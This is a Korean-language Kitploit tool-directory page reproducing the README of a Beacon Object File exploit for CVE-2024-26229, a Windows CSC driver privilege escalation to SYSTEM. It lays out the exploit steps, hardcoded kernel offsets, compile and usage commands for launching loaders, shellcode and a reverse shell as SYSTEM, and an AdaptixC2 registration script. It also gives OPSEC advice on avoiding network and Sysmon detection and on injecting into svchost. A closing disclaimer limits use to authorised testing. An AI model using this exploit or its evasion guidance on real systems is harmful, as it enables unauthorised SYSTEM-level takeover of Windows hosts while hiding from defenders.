Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-26229-BOF — CVE-2024-26229 비콘 객체 파일 버전 | Kitploit
도구/GitHubGitHub/0xgunrunner/cve-2024-26229-bof
Privilege EscalationExploitationPost-ExploitationPenetration TestingRed TeamingPayload DevelopmentBinary Exploitation
GitHub0xgunrunner/cve-2024-26229-bof

CVE-2024-26229-BOF

CVE-2024-26229 비콘 객체 파일 버전

저장소 보기
14개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-26229 BOF

CVE-2024-26229의 Beacon Object File 구현 — DKOM 토큰 탈취를 통한 Windows CSC 드라이버 로컬 권한 상승.

RalfHacker/CVE-2024-26229-exploit을 기반으로 하여, Cobalt Strike BOF API를 지원하는 C2 프레임워크와 함께 사용할 수 있도록 DFR(동적 함수 해석)을 적용한 BOF로 변환했습니다.

작동 방식

  1. NtCreateFile을 통해 \Device\Mup\;Csc\.\.을 열어 CSC 드라이버의 핸들을 얻습니다.
  2. KTHREAD->PreviousMode - 0x18을 가리키는 조작된 입력 버퍼와 함께 IOCTL 0x001401a3(CSC_DEV_FCB_XXX_CONTROL_FILE)을 보내 PreviousMode를 UserMode에서 KernelMode로 손상시킵니다.
  3. PreviousMode = KernelMode 상태에서 NtWriteVirtualMemory를 사용하여 임의의 커널 주소에 쓸 수 있습니다.
  4. SYSTEM 프로세스(PID 4)의 EPROCESS->Token을 현재 프로세스 토큰으로 복사합니다(DKOM).
  5. PreviousMode를 UserMode로 복원합니다.
  6. CreateProcessA를 통해 지정된 실행 파일을 실행합니다 — 자식 프로세스는 SYSTEM 토큰을 상속받습니다.

4단계 이후 비콘 프로세스 자체가 SYSTEM이 됩니다. 생성된 프로세스는 선택 사항입니다. CreateProcessA가 실패하더라도 비콘은 여전히 상승된 상태입니다.

대상

  • OS: Windows 10 / Server 2019 (빌드 19041 이상)
  • 요구 사항: CSC 드라이버 활성화 (HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)
  • 패치됨: 2024년 4월 누적 업데이트

커널 오프셋 (하드코딩됨)

오프셋값구조체
EPROCESS->Token0x4B8Windows 10 19041–19045 / Server 2019 17763
KTHREAD->PreviousMode0x232Windows 10 19041–19045 / Server 2019 17763

이 오프셋들은 버전에 따라 다릅니다. 다른 빌드를 대상으로 하는 경우 WinDbg로 확인하세요:

root@kitploit:~
dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode

컴파일

mingw-w64와 C2 프레임워크와 호환되는 beacon.h 헤더가 필요합니다.

root@kitploit:~
x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c

컴파일된 .o 파일을 BOF 디렉토리(예: _bin/cve-2024-26229.x64.o)에 배치하세요.

사용법

root@kitploit:~
cve-2024-26229 --path <exe_path> [--args "<exe_args>"]

예제

로컬 셸코드로 로더 실행:

root@kitploit:~
cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"

리버스 셸 실행:

root@kitploit:~
cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"

인수 없이 실행:

root@kitploit:~
cve-2024-26229 --path C:\Users\user\beacon.exe

예상 출력

root@kitploit:~
[+] System EPROCESS  = 0xffff9383f3a62040
[+] Current KTHREAD  = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin

AdaptixC2 / AXS 통합

.axs 확장 스크립트에 BOF를 등록하세요:

root@kitploit:~
var cmd_cve26229 = ax.create_command(
    "cve-2024-26229",
    "CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
    "cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
    let path = parsed_json["path"];
    let args = parsed_json["args"];

    if (!path) {
        ax.task_output(id, "Error: --path is required");
        return;
    }

    let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
    let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";

    ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});

인수 패킹은 cstr,cstr입니다 — BOF 내부의 두 BeaconDataExtract 호출과 일치하는 두 개의 널 종료 문자열입니다.

OPSEC 참고 사항

  • 사용자 공간 아티팩트 없음 — DKOM은 손상된 PreviousMode를 통해 전적으로 커널 메모리에서 작동합니다. 파일을 쓰거나, 서비스를 생성하거나, 레지스트리를 수정하지 않습니다.
  • 네트워크 지표 없음 — 익스플로잇은 로컬 전용입니다. HTTP를 통해 가져오는 대신 디스크에서 셸코드를 읽는 로더(--munition-local 패턴)와 함께 사용하여 네트워크 기반 탐지를 피하십시오.
  • 프로세스 생성 — CREATE_NO_WINDOW 플래그와 함께 CreateProcessA를 사용합니다. 생성된 프로세스는 SYSTEM 토큰을 상속받습니다. 로더가 다른 프로세스(예: svchost.exe)에 인젝션하는 경우, 온디스크 로더는 이후 정리할 수 있습니다.
  • Sysmon — NtCreateFile 호출과 IOCTL은 기본 Sysmon 구성에서 일반적으로 기록되지 않습니다. CreateProcessA 호출은 표준 프로세스 생성(이벤트 ID 1)을 생성합니다 — 생성된 바이너리가 서명되지 않았는지 확인하십시오.
  • PreviousMode 복원 — BOF는 토큰 복사 후 PreviousMode를 UserMode로 복원합니다. 비콘 프로세스는 익스플로잇 이후에도 정상적으로 계속 작동합니다.

제한 사항

  • x64 전용 — 하드코딩된 오프셋과 포인터 산술은 64비트를 가정합니다.
  • 오프셋은 빌드별로 다름 — 하드코딩된 EPROCESS->Token(0x4B8) 및 KTHREAD->PreviousMode(0x232) 값은 Windows 10 19041–19045 및 Server 2019 17763에 유효합니다. 다른 빌드는 조정이 필요할 수 있습니다.
  • CSC 드라이버가 활성화되어 있어야 함 — sc query csc 또는 레지스트리 HKLM\SYSTEM\CurrentControlSet\Services\CSC(Start = 1)를 확인하세요. 드라이버는 워크스테이션에서 기본적으로 활성화되어 있지만 서버에서는 비활성화되어 있을 수 있습니다.
  • 프로세스당 한 번만 사용 가능 — DKOM은 비콘 자체의 EPROCESS 토큰을 수정합니다. 동일한 비콘에서 BOF를 두 번 실행하는 것은 중복됩니다(이미 SYSTEM).

크레딧

  • RalfHacker — 원본 독립 실행형 익스플로잇
  • Natel — 테스트 및 리뷰

참조

  • CVE-2024-26229 — MITRE
  • Microsoft Security Advisory

법적 고지

이 도구는 승인된 침투 테스트 및 보안 연구 목적으로만 제공됩니다.

소유하지 않거나 명시적인 서면 허가를 받지 않은 시스템에 대해 이 도구를 사용하는 것은 베트남 법률을 포함하여 불법입니다:

  • Luật An toàn thông tin mạng 2015 (네트워크 정보 보안법, 제86/2015/QH13호) — 정보 시스템에 대한 무단 접근 금지
  • Bộ luật Hình sự 2015, sửa đổi 2017 (형법, 제225–226조) — 컴퓨터 네트워크에 대한 무단 침입 및 데이터 파괴를 범죄로 규정

이 도구는 교육 목적으로만 제공됩니다. 저자는 오용에 대해 책임을 지지 않습니다. 귀하는 사용이 모든 관련 현지, 국가 및 국제 법률을 준수하는지 확인할 전적인 책임이 있습니다.

이 도구를 사용함으로써 테스트 활동 전에 시스템 소유자로부터 적절한 승인을 받았음을 확인하는 것입니다.

도구 다운로드